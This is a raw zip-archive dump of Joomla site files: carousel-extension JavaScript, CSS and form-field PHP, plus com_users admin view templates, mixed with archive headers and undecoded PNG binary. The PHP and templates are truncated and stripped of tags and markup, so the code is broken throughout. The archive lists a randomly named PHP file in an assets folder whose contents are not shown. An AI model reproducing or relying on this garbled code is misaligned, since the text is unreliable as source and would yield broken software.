wrapper.click(function(){ return(false); //prevent body click }); jQuery("body").click(function(){ wrapper.hide(); }); } /** * init checkbox form field */ var initCheckboxes = function(){ jQuery(".mycheckbox_check").click(function(){ var strChecked = this.checked?"true":"false"; jQuery(this).siblings(".mycheckbox_input").val(strChecked); }); } /** * set color picker move event function. */ t.onColorPickerMove = function(func){ colorMoveEventFunc = func; } /** * on color picker move event. pass event to stored functions. */ t.onColorPickerMoveEvent = function(){ if(colorMoveEventFunc) colorMoveEventFunc(); } /** * init every page in the project */ t.initGlobal = function(){ initColorPickers(); initCheckboxes(); } /** * hide system message with delay */ t.hideSystemMessageDelay = function(){ if(jQuery('#system-message').length) setTimeout("jQuery('#system-message').hide('slow')",1000); } /** * set ajax loader id that will be shown, and hidden on ajax request * this loader will be shown only once, and then need to be sent again. */ this.setAjaxLoaderID = function(id){ ajaxLoaderID = id; } /** * show loader on ajax actions */ var showAjaxLoader = function(){ if(ajaxLoaderID) jQuery("#"+ajaxLoaderID).show(); } /** * hide and remove ajax loader. next time has to be set again before "ajaxRequest" function. */ var hideAjaxLoader = function(){ if(ajaxLoaderID){ jQuery("#"+ajaxLoaderID).hide(); ajaxLoaderID = null; } } /** * set button to hide / show on ajax operations. */ this.setAjaxHideButtonID = function(buttonID){ ajaxHideButtonID = buttonID; } /** * if exist ajax button to hide, hide it. */ var hideAjaxButton = function(){ if(ajaxHideButtonID) jQuery("#"+ajaxHideButtonID).hide(); } /** * if exist ajax button, show it, and remove the button id. */ var showAjaxButton = function(){ if(ajaxHideButtonID){ jQuery("#"+ajaxHideButtonID).show(); ajaxHideButtonID = null; } } /** * Ajax request function. call wp ajax, if error - print error message. * if success, call "success function" */ this.ajaxRequest = function(action,data,successFunction){ var objData = { action:action, client_action:action, data:data } hideErrorMessage(); //showAjaxLoader(); //hideAjaxButton(); jQuery.ajax({ type:"post", url:g_urlAjax, dataType: 'json', data:objData, success:function(response){ //hideAjaxLoader(); if(!response){ t.showErrorMessage("Empty ajax response!"); return(false); } if(response == -1){ t.showErrorMessage("ajax error!!!"); return(false); } if(response == 0){ t.showErrorMessage("ajax error, action: "+action+" not found"); return(false); } if(response.success == undefined){ t.showErrorMessage("The 'success' param is a must!"); return(false); } if(response.success == false){ t.showErrorMessage(response.message); return(false); } //success actions: //run a success event function if(typeof successFunction == "function") successFunction(response); else{ if(response.message) showSuccessMessage(response.message); } if(response.is_redirect) location.href=response.redirect_url; }, error:function(jqXHR, textStatus, errorThrown){ hideAjaxLoader(); if(textStatus == "parsererror") t.debug(jqXHR.responseText); t.showErrorMessage("Ajax Error!!! " + textStatus); } }); }//ajaxrequest /** * upen "add image" dialog */ this.openAddImageDialog = function(title,onInsert){ if(!title) title = 'Select Image'; var params = "type=image&post_id=0&TB_iframe=true"; params = encodeURI(params); tb_show(title,'media-upload.php?'+params); window.send_to_editor = function(html) { tb_remove(); var urlImage = jQuery('img',html).attr('src'); onInsert(urlImage); } } /** * load css file on the fly * replace current item if exists */ this.loadCssFile = function(urlCssFile,replaceID){ //jQuery("#paradigmslider-captions-css").remove(); jQuery("head").append(""); var css = jQuery("head").children(":last"); css.attr({ rel: "stylesheet", type: "text/css", href: urlCssFile }); //replace current element if(replaceID){ jQuery("#"+replaceID).remove(); css.attr({id:replaceID}); } } /** * on arrow change setting event. Changes arrow image */ this.onArrowsChange = function(data){ var settingID = data.settingID; var urlImage = data.url_right; var arrowName = data.arrowName; jQuery("#"+settingID).val(arrowName); jQuery("#"+settingID+"-img").prop({"src":urlImage,"title":arrowName}); } /** * hide form field */ this.hideFormField = function(field){ jQuery("#"+field).hide(); jQuery("#"+field+"-lbl").hide(); jQuery("#"+field+"-btn").hide(); } this.showFormField = function(field){ jQuery("#"+field).show().removeClass("hidden"); jQuery("#"+field+"-lbl").show().removeClass("hidden"); } } //script for global init jQuery(document).ready(function(){ UniteAdmin.initGlobal(); }) //user functions: function trace(data,clear){ UniteAdmin.trace(data,clear); } function debug(data){ UniteAdmin.debug(data); } PK@y>\993components/com_unitehcarousel/assets/icon-image.pngnuW+APNG  IHDR!1&tEXtSoftwareAdobe ImageReadyqe<IDATxڴUQw"P-V35x!/,XlXP4q&̝;-Ngν|~sL&ZYBP,{\.j6|lݤH$^/ k6@ H$@y>7rrL?:A:|AZiZA$}4bn[(dYv4ЀLGet:m4\`ihv:fӜcZyXzt!,Ll_ }0N]q:1ES)(@0k2Ȼ):pSTXd|8eyQ+= {]blp@vXeAwUS*[Aiz?#N&ߏG5ĸP͗^~r`zhTz2IENDB`PK@y>\bWJ/J//components/com_unitehcarousel/assets/laieej.phpnuW+APK@y>\g6components/com_unitehcarousel/assets/style-joomla3.cssnuW+A#content{ margin-bottom: 30px; } #page-general, .hidden{ visibility: inherit !important; } div label{ display: inline; } #submenu { line-height: 115%; list-style: none outside none; margin: 0; padding: 0; } #submenu li{ float: left; line-height: 115%; } #submenu li a, #submenu span.nolink { border-right: 1px solid #CCCCCC; color: #808080; cursor: pointer; font-weight: bold; height: 12px; line-height: 14px; padding: 0 15px; } #submenu a:hover, #submenu a.active, #submenu span.nolink.active { background: none repeat scroll 0 0 #FFFFFF; color: #146295; } #submenu-box ,#element-box, #toolbar-box{ margin-bottom: 11px; } /*----------------------------------------------------------- ------------ for tab ------------------------------------- -----------------------------------------------------------*/ div#element-box div.m { padding: 10px; } .submenu-box, div.m { background-color: #F4F4F4; border: 1px solid #CCCCCC; border-radius: 10px 10px 10px 10px; } fieldset.adminform { background-color: #FFFFFF; padding: 5px 17px 17px; border: 1px solid #CCCCCC; text-align: left; margin: 10px; overflow: hidden; } fieldset.adminform legend { color: #146295; font-size: 14px; font-weight: bold; width: auto; margin: 2px; border: none; } fieldset.adminform label, fieldset.adminform span.faux-label { float: left; display: inline-block; min-width: 135px; padding: 3px 5px 0 0; } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label { clear: none; display: inline; float: left; padding-left: 0; margin-right: 25px; } div.width-60 { width: 60%; } div.width-40 { width: 40%; } .fltrt { float: right; } .fltlft { float: left; } .clr { clear: both; height: 0; overflow: hidden; } ul.adminformlist, ul.adminformlist li { list-style: none outside none; margin: 0; padding: 0; } input[required="required"].required { background-color: #D5EEFF; } .star { color: #EB8207; font-size: 1.2em; } .subhead{ margin-bottom: 0px; height: 45px; } .navbar{ } .container-main{ margin-top: 10px; padding: 0 !important; margin: 10px 20px; } .adminlist tr th { border-color: #CCCCCC #F0F0F0; border-style: solid; border-width: 1px; padding: 4px; } .adminlist tbody tr td { border-color: #F0F0F0; border-style: solid; border-width: 1px; padding: 4px; min-width: 30px; } .adminlist tbody tr.row1 td { background-color: #EEEEEE; border-left: 1px solid #FFFFFF; border-right: 1px solid #FFFFFF; } #adminForm #filter-bar{ height: auto; } .adminform .chooser-image-wrapper{ float: left; } /*------------------------------------------------ -------------------for edit slide---------------- -------------------------------------------------*/ input.text-area-order { margin-right: 5px; text-align: center; width: 35px; } .order{ text-align: center; } .order a.btn-micro { font-size: 10px; line-height: 8px; padding: 1px; margin-top: -8px; } .order a.btn-micro :first-child{ font-size: 8px; } .adminform select { width: auto; height: 30px; } .adminformlist li{ clear: both; } .adminformlist input.number { float: left; } .adminform .unit { padding-top: 5px; padding-left: 5px; } #item-form input{ display: inline; } table input,table textarea, .uneditable-input { width: auto; }PK@y>\)6components/com_unitehcarousel/assets/bullets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)Fcomponents/com_unitehcarousel/assets/bullets/simple_white/bg_right.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<jIDATxb1*x ďPDcO8A L ؁4E  ~ ěRbE F[Gb$1P7A,b H P2jíIENDB`PK@y>\]\\Ecomponents/com_unitehcarousel/assets/bullets/simple_white/options.ininuW+Apadding_top = 10 width = 11 height = 11 bg_height = 29 bg_left_width = 9 bg_right_width = 9 PK@y>\Kcomponents/com_unitehcarousel/assets/bullets/simple_white/bullet_normal.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb4i q@|J{"jJ:40 @\ S\Ĝ X H+afLP@)4x )kxt Rx76"G vb-h |{a: ֪-MoIENDB`PK@y>\ݱlKcomponents/com_unitehcarousel/assets/bullets/simple_white/bullet_active.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxbd@Q bc S@2 ~ nGV߰(Dƥ0ŋ(@ R l 1@:"pAy*?AEBwaQ`.-h l 0I$B<*IENDB`PK@y>\>wEcomponents/com_unitehcarousel/assets/bullets/simple_white/bg_left.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<tIDATxb? l0 ?qs")c@,X&(=") xH1H|nU4^,"O$M5@"XY ā@ Ȋ Es8GIENDB`PK@y>\XsxxGcomponents/com_unitehcarousel/assets/bullets/simple_white/bg_repeat.pngnuW+APNG  IHDRkitEXtSoftwareAdobe ImageReadyqe<IDATxb1N00bIENDB`PK@y>\Dcomponents/com_unitehcarousel/assets/bullets/simple_white/index.htmlnuW+APK@y>\)Ccomponents/com_unitehcarousel/assets/bullets/simple_white/.htaccessnuW+A Order allow,deny Deny from all PK@y>\U%``Ecomponents/com_unitehcarousel/assets/bullets/simple_white/preview.pngnuW+APNG  IHDRd(x_CtEXtSoftwareAdobe ImageReadyqe<IDATxZkA~` IbExP^Cm/ϵ=P(P{B/) ^b)A'7nfCef|ݙ710ll`C%E8uD֭062|ts/_ȗ7 !"[!32 Lq>)vs|@1d y.ִ3.]-!lc]ۅ( z}|1ل]Vj`mm 4ZKjSg:P.Q?l 'N\* ɨnl6 |ХSi\.7_[=h۰n` ~_W Hsx@@,Kj%{H F!!> @.q~/gToőKqه6 a!l -ffΜ9YIENDB`PK@y>\)Ccomponents/com_unitehcarousel/assets/bullets/simple_black/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ܺ9jjEcomponents/com_unitehcarousel/assets/bullets/simple_black/preview.pngnuW+APNG  IHDRd(x_CtEXtSoftwareAdobe ImageReadyqe< IDATxZAkA~j B 4BZ,=H4ŋWA/4jJPLayy^/J%rTjcβx7haglm}+!\F׃uHRBjb#/OjC(VWr~? 38$IH$u|?9՘t: np.Vj-1. n<BB`0(Uj+54m/"0J 9==wvcY&֍4 X>V[!3w G /Fj+5dw3Z502 T*sb2u|RC.ll%r6kWa{{3DX,J7077vzl6Ņ }λr:#7R !X[Jv5 C1CN(ERq-| b,Ȥ"r %ay0PQ`n/X-ʰ!"X6vdB C”%!}SIENDB`PK@y>\Kcomponents/com_unitehcarousel/assets/bullets/simple_black/bullet_normal.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb4i q@|J{"jJ:40 @\ S\Ĝ X H+afLP@)4x )kxt Rx76"G vb-h |{a: ֪-MoIENDB`PK@y>\OKcomponents/com_unitehcarousel/assets/bullets/simple_black/bullet_active.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb?q@|=LۡjUx3s2@H0LP@)4x O K., @)A@ <@|{ag߫϶_IENDB`PK@y>\Dcomponents/com_unitehcarousel/assets/bullets/simple_black/index.htmlnuW+APK@y>\1Fcomponents/com_unitehcarousel/assets/bullets/simple_black/bg_right.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<bIDATxba``0f@, 'RË@ XX @HE(bU4ފ> !E ʜg[@2. >IENDB`PK@y>\cJwwGcomponents/com_unitehcarousel/assets/bullets/simple_black/bg_repeat.pngnuW+APNG  IHDRkitEXtSoftwareAdobe ImageReadyqe<IDATxb```0bL r6qIENDB`PK@y>\]\\Ecomponents/com_unitehcarousel/assets/bullets/simple_black/options.ininuW+Apadding_top = 10 width = 11 height = 11 bg_height = 29 bg_left_width = 9 bg_right_width = 9 PK@y>\$ Ecomponents/com_unitehcarousel/assets/bullets/simple_black/bg_left.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<kIDATxbdt ?Oo@ ?"haS H3 E(bU4ފ^P@;5!@Yz5.7 .uL tIENDB`PK@y>\7components/com_unitehcarousel/assets/bullets/index.htmlnuW+APK@y>\JJDcomponents/com_unitehcarousel/assets/bullets/simple_gray/preview.pngnuW+APNG  IHDRd(x_CtEXtSoftwareAdobe ImageReadyqe<IDATx[ϋRQ"䈚\)46hZ,ZY*h:v3VتbN:{ |g>|F*B@(†0k}xxArN /7d nwTk#zC1n^#{D!GX=[j ~ZVeQ/Vp85n4]ƻ=B}z@x omkB}z@jb bjenNSHӪZ/V/Z.N:e t]Ux'xg۽`LlNNe'JWjSd2c?:YZSY |ZdbXoz%@,&H(:@~( ߱=Q= g':kQu~GoS}gec^@@P  !H_o¼APIENDB`PK@y>\Ccomponents/com_unitehcarousel/assets/bullets/simple_gray/index.htmlnuW+APK@y>\! Ecomponents/com_unitehcarousel/assets/bullets/simple_gray/bg_right.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<lIDATxb4i1*x ďX &x @<abx/&& E($FèQEVE )eLMP< 0;[2XIENDB`PK@y>\)Bcomponents/com_unitehcarousel/assets/bullets/simple_gray/.htaccessnuW+A Order allow,deny Deny from all PK@y>\]\\Dcomponents/com_unitehcarousel/assets/bullets/simple_gray/options.ininuW+Apadding_top = 10 width = 11 height = 11 bg_height = 29 bg_left_width = 9 bg_right_width = 9 PK@y>\OJcomponents/com_unitehcarousel/assets/bullets/simple_gray/bullet_active.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb?q@|=LۡjUx3s2@H0LP@)4x O K., @)A@ <@|{ag߫϶_IENDB`PK@y>\SJcomponents/com_unitehcarousel/assets/bullets/simple_gray/bullet_normal.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb<},q@ WUċ_ J Ux @\ S\Ĝ X H+afLP@)4x )kxtP0bg ލj   T4A 0TjIENDB`PK@y>\NDcomponents/com_unitehcarousel/assets/bullets/simple_gray/bg_left.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<tIDATxb4i  l0 ?qs")c@,X&(=") xH1H|nU4^,"O$M5@"XY ā@ Ȋ l WIENDB`PK@y>\>nyyFcomponents/com_unitehcarousel/assets/bullets/simple_gray/bg_repeat.pngnuW+APNG  IHDRkitEXtSoftwareAdobe ImageReadyqe<IDATxb4i10YԲ4(IENDB`PK@y>\)4components/com_unitehcarousel/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\,,5components/com_unitehcarousel/models/forms/slider.xmlnuW+A
    PK@y>\hd d 3components/com_unitehcarousel/models/forms/item.xmlnuW+A
    PK@y>\5components/com_unitehcarousel/models/forms/index.htmlnuW+APK@y>\Or 0components/com_unitehcarousel/models/sliders.phpnuW+AgetUserStateFromRequest($this->context . '.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $category = $this->getUserStateFromRequest($this->context . '.filter.category', 'filter_category', ''); $this->setState('filter.category', $category); // List state information. parent::populateState('a.title', 'asc'); } protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.published'); $id .= ':' . $this->getState('filter.category'); return parent::getStoreId($id); } protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select("*"); $query->from('#__unitehcarousel_sliders AS a'); // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } else if ($published === '') { $query->where('(a.published = 0 OR a.published = 1)'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $order = $orderCol; if (!empty($orderDirn)) $order .= " " . $orderDirn; if (!empty($orderCol)) $query->order($order); return $query; } } PK@y>\).components/com_unitehcarousel/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\AA:components/com_unitehcarousel/models/fields/mycheckbox.phpnuW+Avalue)){ if($this->value == "true") return(true); }else{ if($this->element['value'] == "true") return(true); } return(false); } /** * Method to get the field input markup. * * @return string The field input markup. * @since 1.6 */ protected function getInput(){ // Initialize some field attributes. $class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ''; $disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $checked = $this->isChecked(); $strChecked = ($checked == true) ? ' checked="checked"' : ''; $checkboxID = $this->id; $inputID = $this->id."-input"; $spanID = $this->id."-span"; $value = ($strChecked == true)?"true":"false"; $html = ""; $html .= ''; $html .= ''; $html .= ''; $html .= ''; return $html; } } PK@y>\.||6components/com_unitehcarousel/models/fields/arrows.phpnuW+AaddScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option='.GlobalsUniteHCar::COMPONENT_NAME.'&view=slider&layout=arrows&tmpl=component&settingid='.$this->id; $buttonType = $this->value; $arrArrowSet = HelperUniteHCar::getArrowSet($buttonType); $arrowName = $arrArrowSet["name"]; $html[] = ''; $buttonID = $this->id."-btn"; $desc = UniteFunctionsHCar::getVal($this->element, "description"); // The the arrow $imageArrow = $arrArrowSet["url_right"]; $html[] = ''; //put select button $html[] = ' Change'; $html = implode("\n", $html); return $html; } } PK@y>\6;components/com_unitehcarousel/models/fields/colorpicker.phpnuW+Aelement['size'] ? ' size="' . (int) $this->element['size'] . '"' : ''; $maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : ''; $class = ' class="color-picker"'; $readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : ''; $disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; // Initialize JavaScript field attributes. $onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : ''; return ''; return $html; } } PK@y>\F5g g 6components/com_unitehcarousel/models/fields/mytext.phpnuW+Aelement['label'] ? (string) $this->element['label'] : (string) $this->element['name']; $text = $this->translateLabel ? JText::_($text) : $text; // Build the class for the label. $class = !empty($this->description) ? 'hasTip' : ''; $class = $this->required == true ? $class . ' required' : $class; //add "hidden" to the class if hidden if ($this->hidden){ if(empty($class)) $class = "hidden"; else $class .= " hidden"; } // Add the opening label tag and main attributes attributes. $label .= ''; } else { $label .= '>' . $text . ''; } return $label; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 11.1 */ protected function getInput() { // Initialize some field attributes. $size = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : ''; $maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : ''; $class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ''; $readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : ''; $disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $unit = (string)UniteFunctionsHCar::getVal($this->element, 'unit',""); // Initialize JavaScript field attributes. $onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : ''; $html = ''; if(!empty($unit)) $html .= "$unit"; return $html; } } PK@y>\1@-))7components/com_unitehcarousel/models/fields/bullets.phpnuW+AaddScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option=com_unitehcarousel&view=slider&layout=bullets&tmpl=component'; $html[] = ''; $bulletsText = "Change Bullets"; $buttonID = $this->id."-btn"; $desc = UniteFunctionsHCar::getVal($this->element, "description"); $htmlAddon = ""; if(!empty($desc)){ $htmlAddon = ' title="'.$desc.'"'; //$class .= " hasTip"; //making problems with rel } // The user select button. $html[] = ' '.$bulletsText.''; $html = implode("\n", $html); return $html; } } PK@y>\6components/com_unitehcarousel/models/fields/index.htmlnuW+APK@y>\^?uu6components/com_unitehcarousel/models/fields/slider.phpnuW+ArequireFramework(); $arrSliders = HelperUniteHCar::getArrSliders(); $html = ""; return $html; } } PK@y>\,c|8components/com_unitehcarousel/models/fields/mybutton.phpnuW+Aelement['name']; $label = $this->element['label']; $desc = UniteFunctionsHCar::getVal($this->element, "description"); $htmlAddon = ""; if(!empty($desc)) $htmlAddon = "class='hasTip' title='$desc'"; $html = ""; return($html); } } PK@y>\)5components/com_unitehcarousel/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ސj j 7components/com_unitehcarousel/models/fields/myradio.phpnuW+Aelement['class'] ? ' class="radio ' . (string) $this->element['class'] . '"' : ' class="radio"'; // Start the radio field output. $html[] = '
    '; // Get the field options. $options = $this->getOptions(); // Build the radio field output. foreach ($options as $i => $option) { // Initialize some option attributes. $checked = ((string) $option->value == (string) $this->value) ? ' checked="checked"' : ''; $class = !empty($option->class) ? ' class="' . $option->class . '"' : ''; $disabled = !empty($option->disable) ? ' disabled="disabled"' : ''; // Initialize some JavaScript option attributes. $onclick = !empty($option->onclick) ? ' onclick="' . $option->onclick . '"' : ''; $html[] = ''; $html[] = ''; } // End the radio field output. $html[] = '
    '; return implode($html); } /** * Method to get the field options for radio buttons. * * @return array The field option objects. * * @since 11.1 */ protected function getOptions() { // Initialize variables. $options = array(); foreach ($this->element->children() as $option) { // Only add
    items); ?> items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_users'); $canEdit = $user->authorise('core.edit', 'com_users'); $canChange = $user->authorise('core.edit.state', 'com_users'); ?>
    items, 'filesave.png', 'levels.saveorder'); ?>  
    pagination->getListFooter(); ?>
    id); ?> escape($item->title); ?> escape($item->title); ?> pagination->orderUpIcon($i, true, 'levels.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $count, true, 'levels.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'levels.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $count, true, 'levels.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> id; ?>  
    PK@y>\V1components/com_users/views/levels/tmpl/index.htmlnuW+A PK@y>\)0components/com_users/views/levels/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\))components/com_users/views/note/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6*components/com_users/views/note/index.htmlnuW+APK@y>\).components/com_users/views/note/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\sx-components/com_users/views/note/tmpl/edit.phpnuW+A
    item->id ? JText::sprintf('COM_USERS_EDIT_NOTE_N', $this->item->id) : JText::_('COM_USERS_NEW_NOTE');?>
    • form->getLabel('subject'); ?> form->getInput('subject'); ?>
    • form->getLabel('user_id'); ?> form->getInput('user_id'); ?>
    • form->getLabel('catid'); ?> form->getInput('catid'); ?>
    • form->getLabel('state'); ?> form->getInput('state'); ?>
    • form->getLabel('review_time'); ?> form->getInput('review_time'); ?>
    form->getLabel('body'); ?>
    form->getInput('body'); ?>
    PK@y>\6/components/com_users/views/note/tmpl/index.htmlnuW+APK@y>\ -components/com_users/views/note/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors), 500); } // Get the component HTML helpers JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html'); parent::display($tpl); $this->addToolbar(); } /** * Display the toolbar. * * @return void * * @since 2.5 */ protected function addToolbar() { $input = JFactory::getApplication()->input; $input->set('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = UsersHelper::getActions($this->state->get('filter.category_id'), $this->item->id); JToolBarHelper::title(JText::_('COM_USERS_NOTES'), 'user'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || (count($user->getAuthorisedCategories('com_users', 'core.create'))))) { JToolBarHelper::apply('note.apply'); JToolBarHelper::save('note.save'); } if (!$checkedOut && (count($user->getAuthorisedCategories('com_users', 'core.create')))) { JToolBarHelper::save2new('note.save2new'); } // If an existing item, can save to a copy. if (!$isNew && (count($user->getAuthorisedCategories('com_users', 'core.create')) > 0)) { JToolBarHelper::save2copy('note.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('note.cancel'); } else { JToolBarHelper::cancel('note.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_USER_NOTES_EDIT'); } } PK@y>\)*components/com_users/views/level/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ .components/com_users/views/level/tmpl/edit.phpnuW+A
    • form->getLabel('title'); ?>
    • form->getInput('title'); ?>
    item->rules); ?>
    PK@y>\)/components/com_users/views/level/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_users/views/level/tmpl/index.htmlnuW+A PK@y>\q:.components/com_users/views/level/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_LEVEL_TITLE' : 'COM_USERS_VIEW_EDIT_LEVEL_TITLE'), 'levels-add'); if ($canDo->get('core.edit')||$canDo->get('core.create')) { JToolBarHelper::apply('level.apply'); JToolBarHelper::save('level.save'); } if ($canDo->get('core.create')) { JToolBarHelper::save2new('level.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')){ JToolBarHelper::save2copy('level.save2copy'); } if (empty($this->item->id)){ JToolBarHelper::cancel('level.cancel'); } else { JToolBarHelper::cancel('level.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_ACCESS_LEVELS_EDIT'); } } PK@y>\V+components/com_users/views/level/index.htmlnuW+A PK@y>\)$components/com_users/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_users/views/debuggroup/index.htmlnuW+A PK@y>\)/components/com_users/views/debuggroup/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)4components/com_users/views/debuggroup/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6components/com_users/views/debuggroup/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    actions as $key => $action) : ?> items as $i => $item) : ?> actions as $action) : ?> checks[$name]; if ($check === true) : $class = 'check-a'; $text = '✓'; elseif ($check === false) : $class = 'check-d'; $text = '✗'; elseif ($check === null) : $class = 'check-0'; $text = '-'; else : $class = ''; $text = ' '; endif; ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> |—', $item->level) ?> escape($item->name); ?> lft; ?> - rgt; ?> id; ?>
    PK@y>\V5components/com_users/views/debuggroup/tmpl/index.htmlnuW+A PK@y>\*rVB3components/com_users/views/debuggroup/view.html.phpnuW+Aauthorise('core.manage', 'com_users') || !JFactory::getConfig()->get('debug')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $this->actions = $this->get('DebugActions'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->group = $this->get('Group'); $this->levels = UsersHelperDebug::getLevelsOptions(); $this->components = UsersHelperDebug::getComponents(); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::sprintf('COM_USERS_VIEW_DEBUG_GROUP_TITLE', $this->group->id, $this->group->title), 'groups'); JToolBarHelper::help('JHELP_USERS_DEBUG_GROUPS'); } } PK@y>\V1components/com_users/views/groups/tmpl/index.htmlnuW+A PK@y>\)0components/com_users/views/groups/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ym2components/com_users/views/groups/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); JText::script('COM_USERS_GROUPS_CONFIRM_DELETE'); ?>
    items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_users'); $canEdit = $user->authorise('core.edit', 'com_users'); // If this group is super admin and this user is not super admin, $canEdit is false if (!$user->authorise('core.admin') && (JAccess::checkGroup($item->id, 'core.admin'))) { $canEdit = false; } $canChange = $user->authorise('core.edit.state', 'com_users'); ?>
    pagination->getListFooter(); ?>
    id); ?> |—', $item->level) ?> escape($item->title); ?> escape($item->title); ?> user_count ? $item->user_count : ''; ?> id; ?>
    PK@y>\)+components/com_users/views/groups/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,components/com_users/views/groups/index.htmlnuW+A PK@y>\3/components/com_users/views/groups/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_('COM_USERS_VIEW_GROUPS_TITLE'), 'groups'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('group.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('group.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'groups.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_users'); JToolBarHelper::divider(); } 